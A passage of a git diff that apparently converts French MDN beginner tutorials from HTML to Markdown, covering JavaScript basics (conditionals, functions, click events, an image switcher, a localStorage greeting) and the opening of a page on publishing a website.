d'exécuter des instructions différentes selon le résultat. La structure conditionnelle utilisée la plus fréquemment est `if ... else`. Par exemple : -<pre class="brush: js">let iceCream = 'chocolat'; +```js +let iceCream = 'chocolat'; if (iceCream === 'chocolat') { alert("J'adore la glace au chocolat !"); } else { alert("Ooooh, mais j'aurais préféré au chocolat."); -}</pre> +} +``` -<p>L'expression contenue dans <code>if ( ... )</code> correspond au test — Ici, on utilise l'opérateur d'égalité (décrit plus haut) pour comparer la variable iceCream avec la chaîne de caractères <code>chocolat</code> pour voir si elles sont égales. Si cette comparaison renvoie <code>true</code>, le premier bloc de code sera exécuté. Sinon, le premier bloc est sauté et c'est le code du second bloc, celui présent après <code>else</code>, qui est exécuté.</p> +L'expression contenue dans `if ( ... )` correspond au test — Ici, on utilise l'opérateur d'égalité (décrit plus haut) pour comparer la variable iceCream avec la chaîne de caractères `chocolat` pour voir si elles sont égales. Si cette comparaison renvoie `true`, le premier bloc de code sera exécuté. Sinon, le premier bloc est sauté et c'est le code du second bloc, celui présent après `else`, qui est exécuté. -<h3 id="Fonctions">Fonctions</h3> +### Fonctions -<p>Les {{Glossary("Fonction", "fonctions")}} sont un moyen de compacter des fonctionnalités en vue de leur réutilisation. Quand vous avez besoin de la procédure, vous pouvez appeler une fonction, par son nom, au lieu de ré‑écrire la totalité du code chaque fois. Nous avons déjà utilisé des fonctions plus haut, par exemple :</p> +Les {{Glossary("Fonction", "fonctions")}} sont un moyen de compacter des fonctionnalités en vue de leur réutilisation. Quand vous avez besoin de la procédure, vous pouvez appeler une fonction, par son nom, au lieu de ré‑écrire la totalité du code chaque fois. Nous avons déjà utilisé des fonctions plus haut, par exemple : -<ol> - <li> - <pre class="brush: js">let myVariable = document.querySelector('h1');</pre> - </li> - <li> - <pre class="brush: js">alert('Bonjour !');</pre> - </li> -</ol> +1. ```js + let myVariable = document.querySelector('h1'); + ``` +2. ```js + alert('Bonjour !'); + ``` -<p>Ces fonctions (<code>querySelector</code> et <code>alert</code>) sont disponibles dans le navigateur et vous pouvez les utiliser où bon vous semble.</p> +Ces fonctions (`querySelector` et `alert`) sont disponibles dans le navigateur et vous pouvez les utiliser où bon vous semble. -<p>Si vous voyez quelque chose qui ressemble à un nom de variable et qui est suivi de parenthèses — <code>()</code> —, c'est probablement une fonction. Les fonctions prennent souvent des {{Glossary("Argument", "arguments")}} — bouts de données dont elles ont besoin pour faire leur travail. Ils sont placés entre parenthèses, séparés par des virgules s'il y en a plusieurs.</p> +Si vous voyez quelque chose qui ressemble à un nom de variable et qui est suivi de parenthèses — `()` —, c'est probablement une fonction. Les fonctions prennent souvent des {{Glossary("Argument", "arguments")}} — bouts de données dont elles ont besoin pour faire leur travail. Ils sont placés entre parenthèses, séparés par des virgules s'il y en a plusieurs. -<p>Par exemple, la fonction <code>alert()</code> fait apparaître une fenêtre de pop-up dans la fenêtre du navigateur, mais vous devez donner une chaîne comme argument pour indiquer à la fonction ce que l'on souhaite écrire dans cette fenêtre.</p> +Par exemple, la fonction `alert()` fait apparaître une fenêtre de pop-up dans la fenêtre du navigateur, mais vous devez donner une chaîne comme argument pour indiquer à la fonction ce que l'on souhaite écrire dans cette fenêtre. -<p>La bonne nouvelle est que vous pouvez définir vos propres fonctions — par exemple, vous pouvez écrire une fonction toute simple qui prend deux arguments et les multiplie :</p> +La bonne nouvelle est que vous pouvez définir vos propres fonctions — par exemple, vous pouvez écrire une fonction toute simple qui prend deux arguments et les multiplie : -<pre class="brush: js">function multiply(num1,num2) { +```js +function multiply(num1,num2) { let result = num1 * num2; return result; -}</pre> +} +``` -<p>Vous pouvez déclarer cette fonction dans la console avant de l'utiliser plusieurs fois :</p> +Vous pouvez déclarer cette fonction dans la console avant de l'utiliser plusieurs fois : -<pre class="brush: js">multiply(4, 7); +```js +multiply(4, 7); multiply(20, 20); -multiply(0.5, 3);</pre> +multiply(0.5, 3); +``` -<div class="note"> -<p><strong>Note :</strong> L'instruction <a href="/fr/docs/Web/JavaScript/Reference/Instructions/return"><code>return</code></a> indique au navigateur qu'il faut renvoyer la variable <code>result</code> en dehors de la fonction afin qu'elle puisse être réutilisée par ailleurs. Cette instruction est nécessaire car les variables définies à l'intérieur des fonctions sont uniquement disponibles à l'intérieur de ces fonctions. C'est ce qu'on appelle une {{Glossary("Portée", "portée")}} (pour en savoir plus, lisez <a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Les_portées_de_variables">cet article</a>).</p> -</div> +> **Note :** L'instruction [`return`](/fr/docs/Web/JavaScript/Reference/Instructions/return) indique au navigateur qu'il faut renvoyer la variable `result` en dehors de la fonction afin qu'elle puisse être réutilisée par ailleurs. Cette instruction est nécessaire car les variables définies à l'intérieur des fonctions sont uniquement disponibles à l'intérieur de ces fonctions. C'est ce qu'on appelle une {{Glossary("Portée", "portée")}} (pour en savoir plus, lisez [cet article](/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Les_portées_de_variables)). -<h3 id="Événements">Événements</h3> +### Événements -<p>Pour qu'un site web soit vraiment interactif, vous aurez besoin d'événements. Les événements sont des structures de code qui « écoutent » ce qui se passe dans le navigateur et déclenchent du code en réponse. Le meilleur exemple est <a href="/fr/docs/Web/Events/click">l'événement cliquer</a>, déclenché par le navigateur quand vous cliquez sur quelque chose avec la souris. À titre de démonstration, saisissez ces quelques lignes dans la console, puis cliquez sur la page en cours :</p> +Pour qu'un site web soit vraiment interactif, vous aurez besoin d'événements. Les événements sont des structures de code qui « écoutent » ce qui se passe dans le navigateur et déclenchent du code en réponse. Le meilleur exemple est [l'événement cliquer](/fr/docs/Web/Events/click), déclenché par le navigateur quand vous cliquez sur quelque chose avec la souris. À titre de démonstration, saisissez ces quelques lignes dans la console, puis cliquez sur la page en cours : -<pre class="brush: js">document.querySelector('html').addEventListener('click', function() { +```js +document.querySelector('html').addEventListener('click', function() { alert('Aïe, arrêtez de cliquer !!'); -});</pre> +}); +``` + +Il existe plein de méthodes pour « attacher » un événement à un élément. Dans cet exemple, nous avons sélectionné l'élément HTML concerné et nous avons défini un gestionnaire [`onclick`](/fr/docs/Web/API/GlobalEventHandlers/onclick) qui est une propriété qui est égale à une fonction anonyme (sans nom) qui contient le code à exécuter quand l'utilisateur clique. + +On pourra noter que : + +```js +document.querySelector('html').addEventListener('click', function() {}); +``` + +est équivalent à : + +```js +let myHTML = document.querySelector('html'); +myHTML.addEventListener('click', function() {}); +``` + +La première syntaxe est simplement plus courte. + +## Booster notre site web + +Maintenant que nous avons vu quelques bases en JavaScript, nous allons ajouter quelques fonctionnalités intéressantes à notre site pour voir ce qu'il est possible de faire. + +### Ajouter un changeur d'image -<p>Il existe plein de méthodes pour « attacher » un événement à un élément. Dans cet exemple, nous avons sélectionné l'élément HTML concerné et nous avons défini un gestionnaire <code><a href="/fr/docs/Web/API/GlobalEventHandlers/onclick">onclick</a></code> qui est une propriété qui est égale à une fonction anonyme (sans nom) qui contient le code à exécuter quand l'utilisateur clique.</p> +Dans cette section, nous allons incorporer une autre image au site en utilisant quelques fonctionnalités de l'API DOM et un peu de JavaScript pour alterner entre les deux images lorsqu'on clique sur l'image affichée. -<p>On pourra noter que :</p> +1. Tout d'abord, trouvez une autre image à afficher sur le site. Assurez‑vous qu'elle soit de même taille que la première, ou le plus possible approchante. +2. Enregistrez cette image dans votre dossier `images`. +3. Renommez cette image « firefox2.png » (sans les guillemets). +4. Dans le fichier `main.js`, entrez ce code JavaScript (si votre code « Bonjour, monde » est toujours là, supprimez‑le) : -<pre class="brush: js">document.querySelector('html').addEventListener('click', function() {});</pre> + ```js + let myImage = document.querySelector('img'); -<p>est équivalent à :</p> + myImage.addEventListener('click', function() { + let mySrc = myImage.getAttribute('src'); + if (mySrc === 'images/firefox-icon.png') { + myImage.setAttribute('src', 'images/firefox2.png'); + } else { + myImage.setAttribute('src', 'images/firefox-icon.png'); + } + }); + ``` -<pre class="brush: js">let myHTML = document.querySelector('html'); -myHTML.addEventListener('click', function() {});</pre> +5. Sauvegardez tous les fichiers puis chargez `index.html` dans le navigateur. Maintenant, si vous cliquez sur l'image, elle doit changer pour l'autre ! -<p>La première syntaxe est simplement plus courte.</p> +Dans cet exemple, nous utilisons une référence vers l'élement {{htmlelement("img")}} grâce à la variable `myImage`. Ensuite, nous égalons la propriété du gestionnaire d'événement `onclick `de cette variable à une fonction sans nom (une fonction anonyme). Maintenant chaque fois que cet élément est cliqué : -<h2 id="Booster_notre_site_web">Booster notre site web</h2> +1. nous récupèrons la valeur de l'attribut `src` de l'image. +2. nous utilisons une structure conditionnelle pour voir si la valeur de `src` est égale au chemin de l'image originale : -<p>Maintenant que nous avons vu quelques bases en JavaScript, nous allons ajouter quelques fonctionnalités intéressantes à notre site pour voir ce qu'il est possible de faire.</p> + 1. si c'est le cas, nous changeons la valeur de `src` et indiquons le chemin vers la seconde image, forçant le chargement de cette image dans l'élément {{htmlelement("img")}}. + 2. si ce n'est pas le cas (ce qui signifie que l'image a déjà été changée), la valeur de `src` revient à sa valeur initiale. -<h3 id="Ajouter_un_changeur_d'image">Ajouter un changeur d'image</h3> +### Ajouter un message d'accueil personnalisé -<p>Dans cette section, nous allons incorporer une autre image au site en utilisant quelques fonctionnalités de l'API DOM et un peu de JavaScript pour alterner entre les deux images lorsqu'on clique sur l'image affichée.</p> +Continuons en ajoutant encore un peu de code pour changer le titre de la page afin d'inclure un message d'accueil personnalisé pour le visiteur du site. Ce message d'accueil sera conservé quand l'utilisateur quittera le site et s'il y revient — nous le sauvegarderons avec l'[API Web Storage](/fr/docs/Web/API/Web_Storage_API). Nous ajouterons également une option pour pouvoir changer l'utilisateur et le message d'accueil si besoin. -<ol> - <li>Tout d'abord, trouvez une autre image à afficher sur le site. Assurez‑vous qu'elle soit de même taille que la première, ou le plus possible approchante.</li> - <li>Enregistrez cette image dans votre dossier <code>images</code>.</li> - <li>Renommez cette image « firefox2.png » (sans les guillemets).</li> - <li>Dans le fichier <code>main.js</code>, entrez ce code JavaScript (si votre code « Bonjour, monde » est toujours là, supprimez‑le) : - <pre class="brush: js">let myImage = document.querySelector('img'); +1. Dans le fichier `index.html`, ajoutons la ligne suivante avant l'élément {{htmlelement("script")}} : -myImage.addEventListener('click', function() { - let mySrc = myImage.getAttribute('src'); - if (mySrc === 'images/firefox-icon.png') { - myImage.setAttribute('src', 'images/firefox2.png'); + ```html + <button>Changer d'utilisateur</button> + ``` + +2. Dans le fichier `main.js`, ajoutons le code suivant à la fin du fichier. Cela fait référence au nouveau bouton ajouté et à l'élément de titre puis enregistrons ces références dans des variables : + + ```js + let myButton = document.querySelector('button'); + let myHeading = document.querySelector('h1'); + ``` + +3. Ajoutons maintenant les fonctionnalités pour avoir ce message d'accueil personnalisé (cela ne servira pas immédiatement mais un peu plus tard) : + + ```js + function setUserName() { + let myName = prompt('Veuillez saisir votre nom.'); + localStorage.setItem('nom', myName); + myHeading.textContent = 'Mozilla est cool, ' + myName; + } + ``` + + Cette fonction utilise la fonction [`prompt()`](/fr/docs/Web/API/Window/prompt) qui affiche une boîte de dialogue, un peu comme `alert()` sauf qu'elle permet à l'utilisateur de saisir des données et de les enregistrer dans une variable quand l'utilisateur clique sur **OK\***.\* Dans notre exemple, nous demandons à l'utilisateur de saisir son nom. Ensuite, nous appelons une API appelée `localStorage`. Cette API permet de stocker des données dans le navigateur pour pouvoir les réutiliser ultérieurement. Nous utilisons la fonction `setItem()` de cette API pour stocker la donnée qui nous intéresse dans un conteneur appelé `'nom'`. La valeur stockée ici est la valeur de la variable `myName` qui contient le nom saisi par l'utilisateur. Enfin, on utilise la propriété `textContent` du titre pour lui affecter un nouveau contenu. + +4. Ajoutons ensuite ce bloc `if ... else`. Ce code correspond à l'étape d'initialisation car il sera utilisé la première fois que la page est chargée par l'utilisateur : + + ```js + if (!localStorage.getItem('nom')) { + setUserName(); } else { - myImage.setAttribute('src', 'images/firefox-icon.png'); + let storedName = localStorage.getItem('nom'); + myHeading.textContent = 'Mozilla est cool, ' + storedName; } -});</pre> - </li> - <li>Sauvegardez tous les fichiers puis chargez <code>index.html</code> dans le navigateur. Maintenant, si vous cliquez sur l'image, elle doit changer pour l'autre !</li> -</ol> - -<p>Dans cet exemple, nous utilisons une référence vers l'élement {{htmlelement("img")}} grâce à la variable <code>myImage</code>. Ensuite, nous égalons la propriété du gestionnaire d'événement <code>onclick </code>de cette variable à une fonction sans nom (une fonction anonyme). Maintenant chaque fois que cet élément est cliqué :</p> - -<ol> - <li>nous récupèrons la valeur de l'attribut <code>src</code> de l'image.</li> - <li>nous utilisons une structure conditionnelle pour voir si la valeur de <code>src</code> est égale au chemin de l'image originale : - <ol> - <li>si c'est le cas, nous changeons la valeur de <code>src</code> et indiquons le chemin vers la seconde image, forçant le chargement de cette image dans l'élément {{htmlelement("img")}}.</li> - <li>si ce n'est pas le cas (ce qui signifie que l'image a déjà été changée), la valeur de <code>src</code> revient à sa valeur initiale.</li> - </ol> - </li> -</ol> - -<h3 id="Ajouter_un_message_d'accueil_personnalisé">Ajouter un message d'accueil personnalisé</h3> - -<p>Continuons en ajoutant encore un peu de code pour changer le titre de la page afin d'inclure un message d'accueil personnalisé pour le visiteur du site. Ce message d'accueil sera conservé quand l'utilisateur quittera le site et s'il y revient — nous le sauvegarderons avec l'<a href="/fr/docs/Web/API/Web_Storage_API">API Web Storage</a>. Nous ajouterons également une option pour pouvoir changer l'utilisateur et le message d'accueil si besoin.</p> - -<ol> - <li>Dans le fichier <code>index.html</code>, ajoutons la ligne suivante avant l'élément {{htmlelement("script")}} : - - <pre class="brush: html"><button>Changer d'utilisateur</button></pre> - </li> - <li>Dans le fichier <code>main.js</code>, ajoutons le code suivant à la fin du fichier. Cela fait référence au nouveau bouton ajouté et à l'élément de titre puis enregistrons ces références dans des variables : - <pre class="brush: js">let myButton = document.querySelector('button'); -let myHeading = document.querySelector('h1');</pre> - </li> - <li>Ajoutons maintenant les fonctionnalités pour avoir ce message d'accueil personnalisé (cela ne servira pas immédiatement mais un peu plus tard) : - <pre class="brush: js">function setUserName() { - let myName = prompt('Veuillez saisir votre nom.'); - localStorage.setItem('nom', myName); - myHeading.textContent = 'Mozilla est cool, ' + myName; -}</pre> - Cette fonction utilise la fonction <a href="/fr/docs/Web/API/Window/prompt"><code>prompt()</code></a> qui affiche une boîte de dialogue, un peu comme <code>alert()</code> sauf qu'elle permet à l'utilisateur de saisir des données et de les enregistrer dans une variable quand l'utilisateur clique sur <strong>OK</strong><em>.</em> Dans notre exemple, nous demandons à l'utilisateur de saisir son nom. Ensuite, nous appelons une API appelée <code>localStorage</code>. Cette API permet de stocker des données dans le navigateur pour pouvoir les réutiliser ultérieurement. Nous utilisons la fonction <code>setItem()</code> de cette API pour stocker la donnée qui nous intéresse dans un conteneur appelé <code>'nom'</code>. La valeur stockée ici est la valeur de la variable <code>myName</code> qui contient le nom saisi par l'utilisateur. Enfin, on utilise la propriété <code>textContent</code> du titre pour lui affecter un nouveau contenu.</li> - <li>Ajoutons ensuite ce bloc <code>if ... else</code>. Ce code correspond à l'étape d'initialisation car il sera utilisé la première fois que la page est chargée par l'utilisateur : - <pre class="brush: js">if (!localStorage.getItem('nom')) { - setUserName(); -} else { - let storedName = localStorage.getItem('nom'); - myHeading.textContent = 'Mozilla est cool, ' + storedName; -}</pre> - Ce bloc utilise l'opérateur de négation (NON logique, représenté avec le !) pour vérifier si le navigateur possède une donnée enregistrée appelée <code>nom</code>. Si non, la fonction <code>setUserName()</code> est appelée pour créer cette donnée. Si elle existe (ce qui correspond au cas où l'utilisateur est déjà venu sur la page), on la récupère avec la méthode <code>getItem()</code> et on définit le contenu de <code>textContent</code> pour le titre avec une chaîne suivie du nom de l'utilisateur, comme nous le faisons dans <code>setUserName().</code></li> - <li>Enfin, on associe le gestionnaire <code>onclick</code> au bouton. De cette façon, quand on clique sur le bouton, cela déclenchera l'exécution de la fonction <code>setUserName()</code>. Ce bouton permet à l'utilisateur de modifier la valeur s'il le souhaite: - <pre class="brush: js">myButton.addEventListener('click', function() { - setUserName(); -}); -</pre> - </li> -</ol> + ``` + + Ce bloc utilise l'opérateur de négation (NON logique, représenté avec le !) pour vérifier si le navigateur possède une donnée enregistrée appelée `nom`. Si non, la fonction `setUserName()` est appelée pour créer cette donnée. Si elle existe (ce qui correspond au cas où l'utilisateur est déjà venu sur la page), on la récupère avec la méthode `getItem()` et on définit le contenu de `textContent` pour le titre avec une chaîne suivie du nom de l'utilisateur, comme nous le faisons dans `setUserName().` + +5. Enfin, on associe le gestionnaire `onclick` au bouton. De cette façon, quand on clique sur le bouton, cela déclenchera l'exécution de la fonction `setUserName()`. Ce bouton permet à l'utilisateur de modifier la valeur s'il le souhaite: + + ```js + myButton.addEventListener('click', function() { + setUserName(); + }); + ``` -<p>Récapitulons : la première fois que l'utilisateur viste le site, il sera invité à saisir un nom d'utilisateur. Ce nom sera utilisé pour afficher un message d'accueil personnalisé. Si l'utilisateur souhaite changer son nom, il peut cliquer sur le bouton. En supplément, le nom est enregistré pour plus tard grâce à l'API <code>localStorage</code>, cela permet à l'utilisateur de retrouver son nom, même s'il a fermé la page et/ou le navigateur et qu'il revient plus tard !</p> +Récapitulons : la première fois que l'utilisateur viste le site, il sera invité à saisir un nom d'utilisateur. Ce nom sera utilisé pour afficher un message d'accueil personnalisé. Si l'utilisateur souhaite changer son nom, il peut cliquer sur le bouton. En supplément, le nom est enregistré pour plus tard grâce à l'API `localStorage`, cela permet à l'utilisateur de retrouver son nom, même s'il a fermé la page et/ou le navigateur et qu'il revient plus tard ! -<h2 id="Conclusion">Conclusion</h2> +## Conclusion -<p>Si vous avez suivi les étapes détaillées sur cette page, vous devriez obtenir un résultat semblable à celui-ci (vous pouvez aussi <a href="https://mdn.github.io/beginner-html-site-scripted/">voir la version que nous avons obtenue ici</a>) :</p> +Si vous avez suivi les étapes détaillées sur cette page, vous devriez obtenir un résultat semblable à celui-ci (vous pouvez aussi [voir la version que nous avons obtenue ici](https://mdn.github.io/beginner-html-site-scripted/)) : -<p><img alt="" src="website-screen-scripted.png"></p> + -<p>Si vous êtes bloqué, n'hésitez pas à comparer votre travail et vos fichiers avec <a href="https://github.com/mdn/beginner-html-site-scripted/blob/gh-pages/scripts/main.js">ceux disponibles sur GitHub qui correspondent à notre modèle finalisé</a>.</p> +Si vous êtes bloqué, n'hésitez pas à comparer votre travail et vos fichiers avec [ceux disponibles sur GitHub qui correspondent à notre modèle finalisé](https://github.com/mdn/beginner-html-site-scripted/blob/gh-pages/scripts/main.js). -<p>Au fur et à mesure de cet article, nous n'avons fait qu'effleurer la surface de JavaScript. Si vous avez envie d'en savoir plus sur JavaScript, vous pouvez utiliser <a href="/fr/docs/Web/JavaScript/Guide">notre Guide JavaScript</a>.</p> +Au fur et à mesure de cet article, nous n'avons fait qu'effleurer la surface de JavaScript. Si vous avez envie d'en savoir plus sur JavaScript, vous pouvez utiliser [notre Guide JavaScript](/fr/docs/Web/JavaScript/Guide). -<p>{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_CSS", "Apprendre/Commencer_avec_le_web/Publier_votre_site_web","Apprendre/Commencer_avec_le_web")}}</p> +{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_CSS", "Apprendre/Commencer_avec_le_web/Publier_votre_site_web","Apprendre/Commencer_avec_le_web")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">Installer les logiciels de base</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site">Quel aspect pour votre site Web ?</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers">Gérer les fichiers</a></li> - <li><a href="/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_HTML">Bases du HTML</a></li> - <li><a href="/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_CSS">Bases des CSS</a></li> - <li><a href="/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript">Bases du JavaScript</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web">Publier votre site Web</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web">Comment fonctionne le Web</a></li> -</ul> +- [Installer les logiciels de base](/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) +- [Quel aspect pour votre site Web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) +- [Gérer les fichiers](/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers) +- [Bases du HTML](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_HTML) +- [Bases des CSS](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_CSS) +- [Bases du JavaScript](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript) +- [Publier votre site Web](/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web) +- [Comment fonctionne le Web](/fr/Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web) diff --git a/files/fr/learn/getting_started_with_the_web/publishing_your_website/index.md b/files/fr/learn/getting_started_with_the_web/publishing_your_website/index.md index 49b297e686..d238ffeb25 100644 --- a/files/fr/learn/getting_started_with_the_web/publishing_your_website/index.md +++ b/files/fr/learn/getting_started_with_the_web/publishing_your_website/index.md @@ -14,110 +14,91 @@ tags: translation_of: Learn/Getting_started_with_the_web/Publishing_your_website original_slug: Apprendre/Commencer_avec_le_web/Publier_votre_site_web --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_JavaScript", "Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web","Apprendre/Commencer_avec_le_web")}} -<div>{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_JavaScript", "Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web","Apprendre/Commencer_avec_le_web")}}</div> +Une fois que vous avez fini d'écrire le code et d'organiser les fichiers qui composent votre site, vous devez mettre le site en ligne, ainsi d'autres personnes pourront le trouver. Cet article décrit comment mettre votre extrait de code en ligne avec peu d'efforts. -<p>Une fois que vous avez fini d'écrire le code et d'organiser les fichiers qui composent votre site, vous devez mettre le site en ligne, ainsi d'autres personnes pourront le trouver. Cet article décrit comment mettre votre extrait de code en ligne avec peu d'efforts.</p> +## Quelles sont les options ? -<h2 id="What_are_the_options">Quelles sont les options ?</h2> +La publication d'un site web n'est pas une chose simple, essentiellement du fait qu'il y a multiples façons de le faire. Dans cet article, notre objectif n'est pas de documenter toutes les méthodes possibles. Nous discuterons plutôt des avantages et des inconvénients des trois principales stratégies du point de vue d'un débutant, puis nous vous présenterons une méthode actuellement fonctionnelle. -<p>La publication d'un site web n'est pas une chose simple, essentiellement du fait qu'il y a multiples façons de le faire. Dans cet article, notre objectif n'est pas de documenter toutes les méthodes possibles. Nous discuterons plutôt des avantages et des inconvénients des trois principales stratégies du point de vue d'un débutant, puis nous vous présenterons une méthode actuellement fonctionnelle.</p> +### Trouver un hébergement et un nom de domaine -<h3 id="Getting_hosting_and_a_domain_name">Trouver un hébergement et un nom de domaine</h3> +Pour avoir plus de contrôle sur le contenu et l'apparence du site, la plupart des gens choisissent d'acheter un hébergement web et un nom de domaine : -<p>Pour avoir plus de contrôle sur le contenu et l'apparence du site, la plupart des gens choisissent d'acheter un hébergement web et un nom de domaine :</p> +- L'hébergement web est un espace de fichiers loué sur le [serveur web](/fr/docs/Learn/Common_questions/What_is_a_web_server) d'une société d'hébergement. Vous mettez les fichiers de votre site web dans cet espace et le serveur web en fournit le contenu aux utilisateurs qui le demandent. +- Un [nom de domaine](/fr/docs/Learn/Common_questions/What_is_a_domain_name) est l'adresse unique où les visiteurs peuvent trouver votre site web, comme `https://www.mozilla.org` ou `http://www.bbc.co.uk`. Vous pouvez louer votre nom de domaine pour autant d'années que vous le souhaitez auprès d'un **registraire de nom domaine**. -<ul> - <li>L'hébergement web est un espace de fichiers loué sur le <a href="/fr/docs/Learn/Common_questions/What_is_a_web_server">serveur web</a> d'une société d'hébergement. Vous mettez les fichiers de votre site web dans cet espace et le serveur web en fournit le contenu aux utilisateurs qui le demandent.</li> - <li>Un <a href="/fr/docs/Learn/Common_questions/What_is_a_domain_name">nom de domaine</a> est l'adresse unique où les visiteurs peuvent trouver votre site web, comme <code>https://www.mozilla.org</code> ou <code>http://www.bbc.co.uk</code>. Vous pouvez louer votre nom de domaine pour autant d'années que vous le souhaitez auprès d'un <strong>registraire de nom domaine</strong>.</li> -</ul> +De nombreux sites professionnels sont mis en ligne de cette façon. -<p>De nombreux sites professionnels sont mis en ligne de cette façon.</p> +En plus, vous aurez besoin d'un programme de {{Glossary("FTP", "Protocole de transfert de fichiers (FTP)")}} (voir [Combien ça coûte : les logiciels](/fr/docs/Learn/Common_questions/How_much_does_it_cost#software) pour plus de détails) pour faire un transfert réel des fichiers du site web sur le serveur. Les programmes FTP varient beaucoup, mais généralement, vous devrez vous connecter sur le serveur web en utilisant des identifiants fournis par votre société d'hébergement (par ex., nom d'utilisateur, mot de passe, nom d'hôte). Le logiciel utilisé pour FTP affiche alors vos fichiers locaux et les fichiers présents sur le serveur dans deux fenêtres, ainsi vous pouvez les transférer dans les deux sens : -<p>En plus, vous aurez besoin d'un programme de {{Glossary("FTP", "Protocole de transfert de fichiers (FTP)")}} (voir <a href="/fr/docs/Learn/Common_questions/How_much_does_it_cost#software">Combien ça coûte : les logiciels</a> pour plus de détails) pour faire un transfert réel des fichiers du site web sur le serveur. Les programmes FTP varient beaucoup, mais généralement, vous devrez vous connecter sur le serveur web en utilisant des identifiants fournis par votre société d'hébergement (par ex., nom d'utilisateur, mot de passe, nom d'hôte). Le logiciel utilisé pour FTP affiche alors vos fichiers locaux et les fichiers présents sur le serveur dans deux fenêtres, ainsi vous pouvez les transférer dans les deux sens :</p> + -<p><img alt="" src="ftp.jpg"></p> +#### Suggestions pour trouver hébergement et domaines -<h4 id="Tips_for_finding_hosting_and_domains">Suggestions pour trouver hébergement et domaines</h4> +- Nous ne faisons pas la promotion de sociétés commerciales d'hébergement ou de bureaux d'enregistrement particuliers. Pour trouver des hébergeurs et des bureaux d'enregistrement, faites une recherche pour « hébergement web » et « noms de domaine ». Tous les bureaux d'enregistrement auront une fonctionnalité vous permettant de vérifier si le nom de domaine voulu est disponible ou si quelqu'un d'autre l'a déjà enregistré. +- Votre {{Glossary("ISP", "Fournisseur d'Accès Internet (FAI)")}} fournit peut-être un hébergement limité pour un petit site web. L'ensemble des fonctionnalités disponibles sera limité, mais il pourrait être parfait pour vos premières expériences. +- Il existe quelques services gratuits tels que [Neocities](https://neocities.org/), [Google Sites](https://sites.google.com/), [Blogger](https://www.blogger.com). À nouveau, vous n'en aurez que pour votre argent, mais ils sont idéaux pour vos expérimentations initiales. Les services gratuits ne nécessitent pour la plupart pas de logiciel FTP pour le téléversement — il suffira de faire un glisser/déposer directement sur leur interface web. +- Parfois, des sociétés fournissent hébergement et domaine dans un même paquet. -<ul> - <li>Nous ne faisons pas la promotion de sociétés commerciales d'hébergement ou de bureaux d'enregistrement particuliers. Pour trouver des hébergeurs et des bureaux d'enregistrement, faites une recherche pour « hébergement web » et « noms de domaine ». Tous les bureaux d'enregistrement auront une fonctionnalité vous permettant de vérifier si le nom de domaine voulu est disponible ou si quelqu'un d'autre l'a déjà enregistré.</li> - <li>Votre {{Glossary("ISP", "Fournisseur d'Accès Internet (FAI)")}} fournit peut-être un hébergement limité pour un petit site web. L'ensemble des fonctionnalités disponibles sera limité, mais il pourrait être parfait pour vos premières expériences.</li> - <li>Il existe quelques services gratuits tels que <a href="https://neocities.org/">Neocities</a>, <a href="https://sites.google.com/">Google Sites</a>, <a href="https://www.blogger.com">Blogger</a>. À nouveau, vous n'en aurez que pour votre argent, mais ils sont idéaux pour vos expérimentations initiales. Les services gratuits ne nécessitent pour la plupart pas de logiciel FTP pour le téléversement — il suffira de faire un glisser/déposer directement sur leur interface web.</li> - <li>Parfois, des sociétés fournissent hébergement et domaine dans un même paquet.</li> -</ul> +### Utiliser un outil en ligne comme GitHub ou Google App Engine -<h3 id="Using_an_online_tool_like_GitHub_or_Google_App_Engine">Utiliser un outil en ligne comme GitHub ou Google App Engine</h3> +Certains outils vous permettent de publier votre site web en ligne : -<p>Certains outils vous permettent de publier votre site web en ligne :</p> +- [GitHub](https://github.com/) est un site de « codage collaboratif ». Il vous permet de téléverser des dépôts de code pour stockage dans le **système de gestion de versions** [Git](http://git-scm.com/)**.** Vous pouvez alors collaborer à des projets de code ; le système est open source par défaut, ce qui signifie que n'importe qui dans le monde peut trouver votre code GitHub, l'utiliser, en tirer des leçons, et l'améliorer. GitHub a une fonctionnalité très utile appelée [Pages GitHub](https://pages.github.com/), qui vous permet de présenter du code de site web en direct sur le web. +- [Google App Engine](https://cloud.google.com/appengine/ "App Engine - Build Scalable Web & Mobile Backends in Any Language | Google Cloud Platform") est une plateforme puissante qui vous permet de construire et d'exécuter des applications sur l'infrastructure de Google --- que vous ayez besoin de construire une application web multi‑couche à partir de zéro ou d'héberger un site web statique. Voir [Comment héberger votre site Web sur Google App Engine ?](/fr/docs/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine) pour plus d'information. -<ul> - <li><a href="https://github.com/">GitHub</a> est un site de « codage collaboratif ». Il vous permet de téléverser des dépôts de code pour stockage dans le <strong>système de gestion de versions</strong> <a href="http://git-scm.com/">Git</a><strong>. </strong>Vous pouvez alors collaborer à des projets de code ; le système est open source par défaut, ce qui signifie que n'importe qui dans le monde peut trouver votre code GitHub, l'utiliser, en tirer des leçons, et l'améliorer. GitHub a une 